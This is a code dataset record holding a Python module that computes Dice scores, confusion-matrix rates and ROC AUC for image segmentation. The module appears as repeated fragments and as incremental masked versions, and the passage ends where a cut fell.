/ cut_off(fpos + tneg) stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR]) stats = stats[:i + 1] mu = np.mean(stats, axis=0) stds = np.std(stats, axis=0) with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_results_summary.txt'), 'w') as f: f.writelines('best threshold: {}\n'.format(threshold_best)) f.writelines('mean: {}\n'.format(mu)) f.writelines('stds: {}\n'.format(stds)) print('best threshold: ', threshold_best) print('mean: ', mu) print('stds: ', stds) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def auc_roc(Pr, Tr): fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0) return auc(fpr, tpr) def dice_score(Pr, Tr, thres): im1 = Pr.copy() im2 = Tr.copy() im1[im1 > thres] = 1 im1[Pr <= thres] = 0 im1 = np.asarray(im1).astype(np.bool) im2 = np.asarray(im2).astype(np.bool) if im1.shape != im2.shape: raise ValueError( 'Shape mismatch: im1 and im2 must have the same shape.') intersection = np.logical_and(im1, im2) return 2.0 * intersection.sum() / (im1.sum() + im2.sum()) def cut_off(x): if x <= 0: print('Cut_off is applied') return float('inf') return x def compute_dice(out_fol, steps=100): files = [x for x in os.listdir(out_fol) if 'npy' in x] thresholds = np.array(range(30, 60)) / steps dice_thresholds = np.zeros(len(thresholds)) print(thresholds) for i, threshold in enumerate(thresholds): dice_running = 0 for file in files: data = np.load(os.path.join(out_fol, file)) im1 = data[:, 0:1] im2 = data[:, 1:] dice_running += dice_score(im1, im2, threshold) dice_thresholds[i] = dice_running / len(files) print('applying threshold: ', threshold, dice_running / len(files)) sys.stdout.flush() print(dice_thresholds) save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds. reshape(-1, 1)), axis=1) np.save(os.path.join(out_fol, out_fol.split('/')[-1] + '_thresholds_dice_saved'), save_dice) threshold_best = thresholds[np.argmax(dice_thresholds)] stats = np.zeros((len(files), 7)) for i, file in enumerate(files): data = np.load(os.path.join(out_fol, file)) im1 = data[:, 0] im2 = data[:, 1] dice = dice_score(im1.copy(), im2.copy(), threshold_best) tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(), threshold_best) PPV = tpos / cut_off(tpos + fpos) NPV = tneg / cut_off(fneg + tneg) TPR = tpos / cut_off(tpos + fneg) FNR = fneg / cut_off(tpos + fneg) FPR = fpos / cut_off(fpos + tneg) TNR = tneg / cut_off(fpos + tneg) stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR]) stats = stats[:i + 1] mu = np.mean(stats, axis=0) stds = np.std(stats, axis=0) with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_results_summary.txt'), 'w') as f: f.writelines('best threshold: {}\n'.format(threshold_best)) f.writelines('mean: {}\n'.format(mu)) f.writelines('stds: {}\n'.format(stds)) print('best threshold: ', threshold_best) print('mean: ', mu) print('stds: ', stds) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def confusion_matrix(Or, Tr, thres): tpos = np.sum((Or >= thres) * (Tr == 1)) tneg = np.sum((Or < thres) * (Tr == 0)) fpos = np.sum((Or >= thres) * (Tr == 0)) fneg = np.sum((Or < thres) * (Tr == 1)) return tpos, tneg, fpos, fneg def auc_roc(Pr, Tr): fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0) return auc(fpr, tpr) def dice_score(Pr, Tr, thres): im1 = Pr.copy() im2 = Tr.copy() im1[im1 > thres] = 1 im1[Pr <= thres] = 0 im1 = np.asarray(im1).astype(np.bool) im2 = np.asarray(im2).astype(np.bool) if im1.shape != im2.shape: raise ValueError( 'Shape mismatch: im1 and im2 must have the same shape.') intersection = np.logical_and(im1, im2) return 2.0 * intersection.sum() / (im1.sum() + im2.sum()) def cut_off(x): if x <= 0: print('Cut_off is applied') return float('inf') return x def compute_dice(out_fol, steps=100): files = [x for x in os.listdir(out_fol) if 'npy' in x] thresholds = np.array(range(30, 60)) / steps dice_thresholds = np.zeros(len(thresholds)) print(thresholds) for i, threshold in enumerate(thresholds): dice_running = 0 for file in files: data = np.load(os.path.join(out_fol, file)) im1 = data[:, 0:1] im2 = data[:, 1:] dice_running += dice_score(im1, im2, threshold) dice_thresholds[i] = dice_running / len(files) print('applying threshold: ', threshold, dice_running / len(files)) sys.stdout.flush() print(dice_thresholds) save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds. reshape(-1, 1)), axis=1) np.save(os.path.join(out_fol, out_fol.split('/')[-1] + '_thresholds_dice_saved'), save_dice) threshold_best = thresholds[np.argmax(dice_thresholds)] stats = np.zeros((len(files), 7)) for i, file in enumerate(files): data = np.load(os.path.join(out_fol, file)) im1 = data[:, 0] im2 = data[:, 1] dice = dice_score(im1.copy(), im2.copy(), threshold_best) tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(), threshold_best) PPV = tpos / cut_off(tpos + fpos) NPV = tneg / cut_off(fneg + tneg) TPR = tpos / cut_off(tpos + fneg) FNR = fneg / cut_off(tpos + fneg) FPR = fpos / cut_off(fpos + tneg) TNR = tneg / cut_off(fpos + tneg) stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR]) stats = stats[:i + 1] mu = np.mean(stats, axis=0) stds = np.std(stats, axis=0) with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_results_summary.txt'), 'w') as f: f.writelines('best threshold: {}\n'.format(threshold_best)) f.writelines('mean: {}\n'.format(mu)) f.writelines('stds: {}\n'.format(stds)) print('best threshold: ', threshold_best) print('mean: ', mu) print('stds: ', stds) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def confusion_matrix(Or, Tr, thres): tpos = np.sum((Or >= thres) * (Tr == 1)) tneg = np.sum((Or < thres) * (Tr == 0)) fpos = np.sum((Or >= thres) * (Tr == 0)) fneg = np.sum((Or < thres) * (Tr == 1)) return tpos, tneg, fpos, fneg def auc_roc(Pr, Tr): fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0) return auc(fpr, tpr) def dice_score(Pr, Tr, thres): im1 = Pr.copy() im2 = Tr.copy() im1[im1 > thres] = 1 im1[Pr <= thres] = 0 im1 = np.asarray(im1).astype(np.bool) im2 = np.asarray(im2).astype(np.bool) if im1.shape != im2.shape: raise ValueError( 'Shape mismatch: im1 and im2 must have the same shape.') intersection = np.logical_and(im1, im2) return 2.0 * intersection.sum() / (im1.sum() + im2.sum()) def cut_off(x): if x <= 0: print('Cut_off is applied') return float('inf') return x def compute_dice(out_fol, steps=100): files = [x for x in os.listdir(out_fol) if 'npy' in x] thresholds = np.array(range(30, 60)) / steps dice_thresholds = np.zeros(len(thresholds)) print(thresholds) for i, threshold in enumerate(thresholds): dice_running = 0 for file in files: data = np.load(os.path.join(out_fol, file)) im1 = data[:, 0:1] im2 = data[:, 1:] dice_running += dice_score(im1, im2, threshold) dice_thresholds[i] = dice_running / len(files) print('applying threshold: ', threshold, dice_running / len(files)) sys.stdout.flush() print(dice_thresholds) save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds. reshape(-1, 1)), axis=1) np.save(os.path.join(out_fol, out_fol.split('/')[-1] + '_thresholds_dice_saved'), save_dice) threshold_best = thresholds[np.argmax(dice_thresholds)] stats = np.zeros((len(files), 7)) for i, file in enumerate(files): data = np.load(os.path.join(out_fol, file)) im1 = data[:, 0] im2 = data[:, 1] dice = dice_score(im1.copy(), im2.copy(), threshold_best) tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(), threshold_best) PPV = tpos / cut_off(tpos + fpos) NPV = tneg / cut_off(fneg + tneg) TPR = tpos / cut_off(tpos + fneg) FNR = fneg / cut_off(tpos + fneg) FPR = fpos / cut_off(fpos + tneg) TNR = tneg / cut_off(fpos + tneg) stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR]) stats = stats[:i + 1] mu = np.mean(stats, axis=0) stds = np.std(stats, axis=0) with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_results_summary.txt'), 'w') as f: f.writelines('best threshold: {}\n'.format(threshold_best)) f.writelines('mean: {}\n'.format(mu)) f.writelines('stds: {}\n'.format(stds)) print('best threshold: ', threshold_best) print('mean: ', mu) print('stds: ', stds) def compute_dice_final(out_fol, threshold_best): files = [x for x in os.listdir(out_fol) if 'preds_gts.npy' in x] stats = np.zeros((len(files), 7)) for i, file in enumerate(files): data = np.load(os.path.join(out_fol, file)) im1 = data[:, 0] im2 = data[:, 1] dice = dice_score(im1.copy(), im2.copy(), threshold_best) tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(), threshold_best) print(tpos, tneg, fpos, fneg) PPV = tpos / cut_off(tpos + fpos) NPV = tneg / cut_off(fneg + tneg) TPR = tpos / cut_off(tpos + fneg) FNR = fneg / cut_off(tpos + fneg) FPR = fpos / cut_off(fpos + tneg) TNR = tneg / cut_off(fpos + tneg) stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR]) print(file, stats[i]) stats = stats[:i + 1] mu = np.mean(stats, axis=0) stds = np.std(stats, axis=0) with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_slides_level.txt'), 'w') as f: for i, s in enumerate(stats): f.writelines('{},{},{},{},{},{},{},{}\n'.format(files[i].split( '_preds')[0], s[0], s[1], s[2], s[3], s[4], s[5], s[6])) with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_results_summary.txt'), 'w') as f: f.writelines('best threshold: {}\n'.format(threshold_best)) f.writelines('mean: {}\n'.format(mu)) f.writelines('stds: {}\n'.format(stds)) print('best threshold: ', threshold_best) print('mean: ', mu) print('stds: ', stds) <|reserved_special_token_1|> #!/usr/bin/env python import os import sys import numpy as np from sklearn.metrics import roc_curve, auc def confusion_matrix(Or, Tr, thres): tpos = np.sum((Or >= thres) * (Tr == 1)) tneg = np.sum((Or < thres) * (Tr == 0)) fpos = np.sum((Or >= thres) * (Tr == 0)) fneg = np.sum((Or < thres) * (Tr == 1)) return tpos, tneg, fpos, fneg def auc_roc(Pr, Tr): fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0) return auc(fpr, tpr) def dice_score(Pr, Tr, thres): im1 = Pr.copy() im2 = Tr.copy() im1[im1 > thres] = 1 im1[Pr <= thres] = 0 im1 = np.asarray(im1).astype(np.bool) im2 = np.asarray(im2).astype(np.bool) if im1.shape != im2.shape: raise ValueError("Shape mismatch: im1 and im2 must have the same shape.") # Compute Dice coefficient intersection = np.logical_and(im1, im2) return 2.0 * intersection.sum() / (im1.sum() + im2.sum()) def cut_off(x): if x <= 0: print('Cut_off is applied') return float('inf') return x def compute_dice(out_fol, steps=100): files = [x for x in os.listdir(out_fol) if 'npy' in x] # steps = 100 thresholds = np.array(range(30, 60)) / steps # thresholds = np.array([0.4, 0.5, 0.6]) dice_thresholds = np.zeros(len(thresholds)) print(thresholds) for i, threshold in enumerate(thresholds): # compute dice by varying thresholds dice_running = 0 for file in files: data = np.load(os.path.join(out_fol, file)) im1 = data[:, 0:1] im2 = data[:, 1:] dice_running += dice_score(im1, im2, threshold) dice_thresholds[i] = dice_running / len(files) print('applying threshold: ', threshold, dice_running / len(files)) sys.stdout.flush() print(dice_thresholds) save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.reshape(-1, 1)), axis=1) np.save(os.path.join(out_fol, out_fol.split('/')[-1] + '_thresholds_dice_saved'), save_dice) threshold_best = thresholds[np.argmax(dice_thresholds)] stats = np.zeros((len(files), 7)) for i, file in enumerate(files): data = np.load(os.path.join(out_fol, file)) im1 = data[:, 0] im2 = data[:, 1] dice = dice_score(im1.copy(), im2.copy(), threshold_best) tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(), threshold_best) PPV = tpos / cut_off(tpos + fpos) NPV = tneg / cut_off(fneg + tneg) TPR = tpos / cut_off(tpos + fneg) FNR = fneg / cut_off(tpos + fneg) FPR = fpos / cut_off(fpos + tneg) TNR = tneg / cut_off(fpos + tneg) stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR]) # auc_val = auc_roc(im1.copy(), im2.copy()) # print(file, auc_val, dice, '\n') stats = stats[:i + 1] mu = np.mean(stats, axis=0) stds = np.std(stats, axis=0) with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_results_summary.txt'), 'w') as f: f.writelines('best threshold: {}\n'.format(threshold_best)) f.writelines('mean: {}\n'.format(mu)) f.writelines('stds: {}\n'.format(stds)) print('best threshold: ', threshold_best) print('mean: ', mu) print('stds: ', stds) def compute_dice_final(out_fol, threshold_best): files = [x for x in os.listdir(out_fol) if 'preds_gts.npy' in x] stats = np.zeros((len(files), 7)) for i, file in enumerate(files): data = np.load(os.path.join(out_fol, file)) im1 = data[:, 0] im2 = data[:, 1] dice = dice_score(im1.copy(), im2.copy(), threshold_best) tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(), threshold_best) print(tpos, tneg, fpos, fneg) PPV = tpos / cut_off(tpos + fpos) NPV = tneg / cut_off(fneg + tneg) TPR = tpos / cut_off(tpos + fneg) FNR = fneg / cut_off(tpos + fneg) FPR = fpos / cut_off(fpos + tneg) TNR = tneg / cut_off(fpos + tneg) stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR]) # auc_val = auc_roc(im1.copy(), im2.copy()) print(file, stats[i]) stats = stats[:i + 1] mu = np.mean(stats, axis=0) stds = np.std(stats, axis=0) with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_slides_level.txt'), 'w') as f: for i, s in enumerate(stats): f.writelines( '{},{},{},{},{},{},{},{}\n'.format(files[i].split('_preds')[0], s[0], s[1], s[2], s[3], s[4], s[5], s[6])) with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_results_summary.txt'), 'w') as f: f.writelines('best threshold: {}\n'.format(threshold_best)) f.writelines('mean: {}\n'.format(mu)) f.writelines('stds: {}\n'.format(stds)) print('best threshold: ', threshold_best) print('mean: ', mu) print('stds: ', stds)
flexible
{ "blob_id": "4892d4f364b03b53b1ad6f4c2177bbe2898edbda", "index": 3691, "step-1": "<mask token>\n\n\ndef cut_off(x):\n if x <= 0:\n print('Cut_off is applied')\n return float('inf')\n return x\n\n\ndef compute_dice(out_fol, steps=100):\n files = [x for x in os.listdir(out_fol) if 'npy' in x]\n thresholds = np.array(range(30, 60)) / steps\n dice_thresholds = np.zeros(len(thresholds))\n print(thresholds)\n for i, threshold in enumerate(thresholds):\n dice_running = 0\n for file in files:\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0:1]\n im2 = data[:, 1:]\n dice_running += dice_score(im1, im2, threshold)\n dice_thresholds[i] = dice_running / len(files)\n print('applying threshold: ', threshold, dice_running / len(files))\n sys.stdout.flush()\n print(dice_thresholds)\n save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.\n reshape(-1, 1)), axis=1)\n np.save(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_thresholds_dice_saved'), save_dice)\n threshold_best = thresholds[np.argmax(dice_thresholds)]\n stats = np.zeros((len(files), 7))\n for i, file in enumerate(files):\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0]\n im2 = data[:, 1]\n dice = dice_score(im1.copy(), im2.copy(), threshold_best)\n tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(),\n threshold_best)\n PPV = tpos / cut_off(tpos + fpos)\n NPV = tneg / cut_off(fneg + tneg)\n TPR = tpos / cut_off(tpos + fneg)\n FNR = fneg / cut_off(tpos + fneg)\n FPR = fpos / cut_off(fpos + tneg)\n TNR = tneg / cut_off(fpos + tneg)\n stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])\n stats = stats[:i + 1]\n mu = np.mean(stats, axis=0)\n stds = np.std(stats, axis=0)\n with open(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_results_summary.txt'), 'w') as f:\n f.writelines('best threshold: {}\\n'.format(threshold_best))\n f.writelines('mean: {}\\n'.format(mu))\n f.writelines('stds: {}\\n'.format(stds))\n print('best threshold: ', threshold_best)\n print('mean: ', mu)\n print('stds: ', stds)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef auc_roc(Pr, Tr):\n fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0)\n return auc(fpr, tpr)\n\n\ndef dice_score(Pr, Tr, thres):\n im1 = Pr.copy()\n im2 = Tr.copy()\n im1[im1 > thres] = 1\n im1[Pr <= thres] = 0\n im1 = np.asarray(im1).astype(np.bool)\n im2 = np.asarray(im2).astype(np.bool)\n if im1.shape != im2.shape:\n raise ValueError(\n 'Shape mismatch: im1 and im2 must have the same shape.')\n intersection = np.logical_and(im1, im2)\n return 2.0 * intersection.sum() / (im1.sum() + im2.sum())\n\n\ndef cut_off(x):\n if x <= 0:\n print('Cut_off is applied')\n return float('inf')\n return x\n\n\ndef compute_dice(out_fol, steps=100):\n files = [x for x in os.listdir(out_fol) if 'npy' in x]\n thresholds = np.array(range(30, 60)) / steps\n dice_thresholds = np.zeros(len(thresholds))\n print(thresholds)\n for i, threshold in enumerate(thresholds):\n dice_running = 0\n for file in files:\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0:1]\n im2 = data[:, 1:]\n dice_running += dice_score(im1, im2, threshold)\n dice_thresholds[i] = dice_running / len(files)\n print('applying threshold: ', threshold, dice_running / len(files))\n sys.stdout.flush()\n print(dice_thresholds)\n save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.\n reshape(-1, 1)), axis=1)\n np.save(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_thresholds_dice_saved'), save_dice)\n threshold_best = thresholds[np.argmax(dice_thresholds)]\n stats = np.zeros((len(files), 7))\n for i, file in enumerate(files):\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0]\n im2 = data[:, 1]\n dice = dice_score(im1.copy(), im2.copy(), threshold_best)\n tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(),\n threshold_best)\n PPV = tpos / cut_off(tpos + fpos)\n NPV = tneg / cut_off(fneg + tneg)\n TPR = tpos / cut_off(tpos + fneg)\n FNR = fneg / cut_off(tpos + fneg)\n FPR = fpos / cut_off(fpos + tneg)\n TNR = tneg / cut_off(fpos + tneg)\n stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])\n stats = stats[:i + 1]\n mu = np.mean(stats, axis=0)\n stds = np.std(stats, axis=0)\n with open(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_results_summary.txt'), 'w') as f:\n f.writelines('best threshold: {}\\n'.format(threshold_best))\n f.writelines('mean: {}\\n'.format(mu))\n f.writelines('stds: {}\\n'.format(stds))\n print('best threshold: ', threshold_best)\n print('mean: ', mu)\n print('stds: ', stds)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef confusion_matrix(Or, Tr, thres):\n tpos = np.sum((Or >= thres) * (Tr == 1))\n tneg = np.sum((Or < thres) * (Tr == 0))\n fpos = np.sum((Or >= thres) * (Tr == 0))\n fneg = np.sum((Or < thres) * (Tr == 1))\n return tpos, tneg, fpos, fneg\n\n\ndef auc_roc(Pr, Tr):\n fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0)\n return auc(fpr, tpr)\n\n\ndef dice_score(Pr, Tr, thres):\n im1 = Pr.copy()\n im2 = Tr.copy()\n im1[im1 > thres] = 1\n im1[Pr <= thres] = 0\n im1 = np.asarray(im1).astype(np.bool)\n im2 = np.asarray(im2).astype(np.bool)\n if im1.shape != im2.shape:\n raise ValueError(\n 'Shape mismatch: im1 and im2 must have the same shape.')\n intersection = np.logical_and(im1, im2)\n return 2.0 * intersection.sum() / (im1.sum() + im2.sum())\n\n\ndef cut_off(x):\n if x <= 0:\n print('Cut_off is applied')\n return float('inf')\n return x\n\n\ndef compute_dice(out_fol, steps=100):\n files = [x for x in os.listdir(out_fol) if 'npy' in x]\n thresholds = np.array(range(30, 60)) / steps\n dice_thresholds = np.zeros(len(thresholds))\n print(thresholds)\n for i, threshold in enumerate(thresholds):\n dice_running = 0\n for file in files:\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0:1]\n im2 = data[:, 1:]\n dice_running += dice_score(im1, im2, threshold)\n dice_thresholds[i] = dice_running / len(files)\n print('applying threshold: ', threshold, dice_running / len(files))\n sys.stdout.flush()\n print(dice_thresholds)\n save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.\n reshape(-1, 1)), axis=1)\n np.save(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_thresholds_dice_saved'), save_dice)\n threshold_best = thresholds[np.argmax(dice_thresholds)]\n stats = np.zeros((len(files), 7))\n for i, file in enumerate(files):\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0]\n im2 = data[:, 1]\n dice = dice_score(im1.copy(), im2.copy(), threshold_best)\n tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(),\n threshold_best)\n PPV = tpos / cut_off(tpos + fpos)\n NPV = tneg / cut_off(fneg + tneg)\n TPR = tpos / cut_off(tpos + fneg)\n FNR = fneg / cut_off(tpos + fneg)\n FPR = fpos / cut_off(fpos + tneg)\n TNR = tneg / cut_off(fpos + tneg)\n stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])\n stats = stats[:i + 1]\n mu = np.mean(stats, axis=0)\n stds = np.std(stats, axis=0)\n with open(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_results_summary.txt'), 'w') as f:\n f.writelines('best threshold: {}\\n'.format(threshold_best))\n f.writelines('mean: {}\\n'.format(mu))\n f.writelines('stds: {}\\n'.format(stds))\n print('best threshold: ', threshold_best)\n print('mean: ', mu)\n print('stds: ', stds)\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\ndef confusion_matrix(Or, Tr, thres):\n tpos = np.sum((Or >= thres) * (Tr == 1))\n tneg = np.sum((Or < thres) * (Tr == 0))\n fpos = np.sum((Or >= thres) * (Tr == 0))\n fneg = np.sum((Or < thres) * (Tr == 1))\n return tpos, tneg, fpos, fneg\n\n\ndef auc_roc(Pr, Tr):\n fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0)\n return auc(fpr, tpr)\n\n\ndef dice_score(Pr, Tr, thres):\n im1 = Pr.copy()\n im2 = Tr.copy()\n im1[im1 > thres] = 1\n im1[Pr <= thres] = 0\n im1 = np.asarray(im1).astype(np.bool)\n im2 = np.asarray(im2).astype(np.bool)\n if im1.shape != im2.shape:\n raise ValueError(\n 'Shape mismatch: im1 and im2 must have the same shape.')\n intersection = np.logical_and(im1, im2)\n return 2.0 * intersection.sum() / (im1.sum() + im2.sum())\n\n\ndef cut_off(x):\n if x <= 0:\n print('Cut_off is applied')\n return float('inf')\n return x\n\n\ndef compute_dice(out_fol, steps=100):\n files = [x for x in os.listdir(out_fol) if 'npy' in x]\n thresholds = np.array(range(30, 60)) / steps\n dice_thresholds = np.zeros(len(thresholds))\n print(thresholds)\n for i, threshold in enumerate(thresholds):\n dice_running = 0\n for file in files:\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0:1]\n im2 = data[:, 1:]\n dice_running += dice_score(im1, im2, threshold)\n dice_thresholds[i] = dice_running / len(files)\n print('applying threshold: ', threshold, dice_running / len(files))\n sys.stdout.flush()\n print(dice_thresholds)\n save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.\n reshape(-1, 1)), axis=1)\n np.save(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_thresholds_dice_saved'), save_dice)\n threshold_best = thresholds[np.argmax(dice_thresholds)]\n stats = np.zeros((len(files), 7))\n for i, file in enumerate(files):\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0]\n im2 = data[:, 1]\n dice = dice_score(im1.copy(), im2.copy(), threshold_best)\n tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(),\n threshold_best)\n PPV = tpos / cut_off(tpos + fpos)\n NPV = tneg / cut_off(fneg + tneg)\n TPR = tpos / cut_off(tpos + fneg)\n FNR = fneg / cut_off(tpos + fneg)\n FPR = fpos / cut_off(fpos + tneg)\n TNR = tneg / cut_off(fpos + tneg)\n stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])\n stats = stats[:i + 1]\n mu = np.mean(stats, axis=0)\n stds = np.std(stats, axis=0)\n with open(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_results_summary.txt'), 'w') as f:\n f.writelines('best threshold: {}\\n'.format(threshold_best))\n f.writelines('mean: {}\\n'.format(mu))\n f.writelines('stds: {}\\n'.format(stds))\n print('best threshold: ', threshold_best)\n print('mean: ', mu)\n print('stds: ', stds)\n\n\ndef compute_dice_final(out_fol, threshold_best):\n files = [x for x in os.listdir(out_fol) if 'preds_gts.npy' in x]\n stats = np.zeros((len(files), 7))\n for i, file in enumerate(files):\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0]\n im2 = data[:, 1]\n dice = dice_score(im1.copy(), im2.copy(), threshold_best)\n tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(),\n threshold_best)\n print(tpos, tneg, fpos, fneg)\n PPV = tpos / cut_off(tpos + fpos)\n NPV = tneg / cut_off(fneg + tneg)\n TPR = tpos / cut_off(tpos + fneg)\n FNR = fneg / cut_off(tpos + fneg)\n FPR = fpos / cut_off(fpos + tneg)\n TNR = tneg / cut_off(fpos + tneg)\n stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])\n print(file, stats[i])\n stats = stats[:i + 1]\n mu = np.mean(stats, axis=0)\n stds = np.std(stats, axis=0)\n with open(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_slides_level.txt'), 'w') as f:\n for i, s in enumerate(stats):\n f.writelines('{},{},{},{},{},{},{},{}\\n'.format(files[i].split(\n '_preds')[0], s[0], s[1], s[2], s[3], s[4], s[5], s[6]))\n with open(os.path.join(out_fol, out_fol.split('/')[-1] +\n '_results_summary.txt'), 'w') as f:\n f.writelines('best threshold: {}\\n'.format(threshold_best))\n f.writelines('mean: {}\\n'.format(mu))\n f.writelines('stds: {}\\n'.format(stds))\n print('best threshold: ', threshold_best)\n print('mean: ', mu)\n print('stds: ', stds)\n", "step-5": "#!/usr/bin/env python\nimport os\nimport sys\n\nimport numpy as np\nfrom sklearn.metrics import roc_curve, auc\n\n\ndef confusion_matrix(Or, Tr, thres):\n tpos = np.sum((Or >= thres) * (Tr == 1))\n tneg = np.sum((Or < thres) * (Tr == 0))\n fpos = np.sum((Or >= thres) * (Tr == 0))\n fneg = np.sum((Or < thres) * (Tr == 1))\n return tpos, tneg, fpos, fneg\n\n\ndef auc_roc(Pr, Tr):\n fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0)\n return auc(fpr, tpr)\n\n\ndef dice_score(Pr, Tr, thres):\n im1 = Pr.copy()\n im2 = Tr.copy()\n\n im1[im1 > thres] = 1\n im1[Pr <= thres] = 0\n im1 = np.asarray(im1).astype(np.bool)\n im2 = np.asarray(im2).astype(np.bool)\n\n if im1.shape != im2.shape:\n raise ValueError(\"Shape mismatch: im1 and im2 must have the same shape.\")\n # Compute Dice coefficient\n intersection = np.logical_and(im1, im2)\n return 2.0 * intersection.sum() / (im1.sum() + im2.sum())\n\n\ndef cut_off(x):\n if x <= 0:\n print('Cut_off is applied')\n return float('inf')\n return x\n\n\ndef compute_dice(out_fol, steps=100):\n files = [x for x in os.listdir(out_fol) if 'npy' in x]\n # steps = 100\n thresholds = np.array(range(30, 60)) / steps\n # thresholds = np.array([0.4, 0.5, 0.6])\n\n dice_thresholds = np.zeros(len(thresholds))\n\n print(thresholds)\n\n for i, threshold in enumerate(thresholds): # compute dice by varying thresholds\n dice_running = 0\n for file in files:\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0:1]\n im2 = data[:, 1:]\n dice_running += dice_score(im1, im2, threshold)\n\n dice_thresholds[i] = dice_running / len(files)\n print('applying threshold: ', threshold, dice_running / len(files))\n sys.stdout.flush()\n\n print(dice_thresholds)\n save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.reshape(-1, 1)), axis=1)\n np.save(os.path.join(out_fol, out_fol.split('/')[-1] + '_thresholds_dice_saved'), save_dice)\n\n threshold_best = thresholds[np.argmax(dice_thresholds)]\n\n stats = np.zeros((len(files), 7))\n for i, file in enumerate(files):\n data = np.load(os.path.join(out_fol, file))\n im1 = data[:, 0]\n im2 = data[:, 1]\n\n dice = dice_score(im1.copy(), im2.copy(), threshold_best)\n tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(), threshold_best)\n PPV = tpos / cut_off(tpos + fpos)\n NPV = tneg / cut_off(fneg + tneg)\n TPR = tpos / cut_off(tpos + fneg)\n FNR = fneg / cut_off(tpos + fneg)\n FPR = fpos / cut_off(fpos + tneg)\n TNR = tneg / cut_off(fpos + tneg)\n stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])\n\n # auc_val = auc_roc(im1.copy(), im2.copy())\n # print(file, auc_val, dice, '\\n')\n\n stats = stats[:i + 1]\n mu = np.mean(stats, axis=0)\n stds = np.std(stats, axis=0)\n\n with open(os.path.join(out_fol, out_fol.split('/')[-1] + '_results_summary.txt'), 'w') as f:\n f.writelines('best threshold: {}\\n'.format(threshold_best))\n f.writelines('mean: {}\\n'.format(mu))\n f.writelines('stds: {}\\n'.format(stds))\n\n print('best threshold: ', threshold_best)\n print('mean: ', mu)\n print('stds: ', stds)\n\n\ndef compute_dice_final(out_fol, threshold_best):\n files = [x for x in os.listdir(out_fol) if 'preds_gts.npy' in x]\n\n stats = np.zeros((len(files), 7))\n for i, file in 